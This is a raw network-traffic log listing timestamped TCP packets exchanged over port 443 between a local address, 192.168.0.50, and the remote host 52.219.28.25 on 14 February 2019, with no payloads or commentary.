Feb 14, 2019 12:59:40.297175884 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.297357082 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.297360897 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.297439098 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.297583103 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.297844887 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.298217058 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.298232079 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.298238039 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.298419952 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.298424006 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.298424959 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.298427105 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.298429012 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.298644066 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.298993111 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.298996925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.298998117 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.299000025 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.299011946 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.299118996 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.299288034 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299300909 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299307108 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299312115 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299525976 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.299529076 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.299602032 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.299848080 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299858093 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299889088 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299895048 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299900055 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299905062 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.299947977 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.300173998 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300175905 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300178051 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300179005 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300180912 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300743103 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300745010 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300745964 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300748110 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300749063 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.300750971 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.301021099 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301032066 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301038027 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301043034 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301636934 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301645041 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301650047 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301655054 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301660061 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.301665068 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.302792072 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.302803993 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.302809000 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.302814007 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.302819014 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.302998066 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.455450058 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.455480099 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.455656052 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.455687046 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.455811024 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.455948114 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.456020117 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.456134081 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.456273079 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.456656933 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.456698895 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.456753969 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.456779003 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.456911087 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.457204103 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.457207918 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.457633018 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.457664967 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.457778931 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.457781076 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.457782030 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.457782984 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.458077908 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.458178043 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.458395958 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.458424091 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.458599091 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.458683014 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.458690882 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.458694935 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.458699942 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.458852053 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.458976030 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.459086895 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.459193945 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.459218979 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.459228039 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.459249973 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.459255934 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.459346056 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.459513903 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.459517002 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.459526062 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.459671021 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.459785938 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.459794998 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.460038900 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.460042000 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.460043907 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.460088015 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.460187912 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.460460901 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.460669041 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.460886002 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.460896015 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.460901976 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.460906982 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.460957050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461066961 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461194038 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461306095 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461410999 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461536884 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461548090 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.461560965 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.461566925 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.461571932 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.461576939 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.461581945 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.461669922 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461720943 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461853027 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.461975098 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.462089062 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.462203026 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.462318897 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.462682962 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.462696075 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.462702036 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.462707043 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.462810040 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.462812901 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.462903976 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.462905884 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.463151932 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.463160992 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.463166952 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.463211060 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.463475943 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.463476896 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.463479042 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.463479996 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.464353085 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.464370966 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.464379072 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.464385986 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.464390993 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.464396954 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.464936972 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.464947939 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.464953899 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.465471029 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.465477943 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.465482950 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.465487957 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.616504908 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.616617918 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.617645979 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.617677927 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.617800951 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.617930889 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618065119 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618124008 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618240118 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618493080 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618567944 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618598938 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618719101 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618717909 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.618860006 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.618974924 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.619097948 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.619360924 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.619457960 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.619462967 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.619744062 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.619754076 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.619760036 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.620024920 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620027065 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620028973 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620064020 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620273113 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.620281935 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.620286942 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.620332003 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.620568037 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620572090 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620573997 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620575905 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620615005 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.620723009 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.621176004 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.621179104 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.621442080 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.621453047 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.621459007 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.621464014 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.621469021 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.621715069 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.621716976 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.621718884 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.621721029 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.622054100 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.622067928 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.622124910 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.622303009 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.622303963 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.622306108 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.622307062 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.622308969 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.622309923 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623171091 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.623187065 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.623193026 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.623199940 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.623205900 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.623210907 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.623369932 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623373032 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623627901 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.623913050 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623914957 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623917103 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623918056 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623919010 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623920918 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.623924017 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.624011993 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.624013901 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.624023914 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.624077082 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.624826908 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.624835014 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.624840975 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.624845982 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.624872923 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.625067949 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.625072956 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.625097990 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.625346899 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.625358105 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.626159906 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.626163006 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.626164913 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.626167059 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.626168013 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.626169920 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.626171112 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.626173019 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.626173973 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.627080917 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.627095938 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.627101898 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.627108097 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.627111912 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.627580881 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.627712011 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.629314899 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.629328966 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.629334927 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.629339933 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.629344940 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.629349947 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.629920959 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.777926922 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.777959108 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.778784037 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.778810024 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.778963089 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.779016972 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.779131889 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.779251099 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.779381037 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.779433966 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.780386925 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.780405045 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.780777931 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.780811071 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.780842066 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.780889034 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.780891895 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.780900955 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.780908108 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.780913115 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.780945063 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.781035900 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.781089067 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.781194925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.781327963 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.781443119 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.781474113 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.781483889 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.781488895 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.781527996 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.781624079 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.781662941 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.781797886 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.782172918 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.782176018 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.782177925 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.782500029 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.782706976 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.782834053 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.782835960 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.782836914 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.782839060 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.783176899 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783544064 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.783648968 MEZ	443	49289	52.219.28.25	192.168.0.50
Feb 14, 2019 12:59:40.783679962 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783750057 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783756018 MEZ	49289	443	192.168.0.50	52.219.28.25
Feb 14, 2019 12:59:40.783761024 MEZ	49289	443	192.168.0.50	52.219.28.25
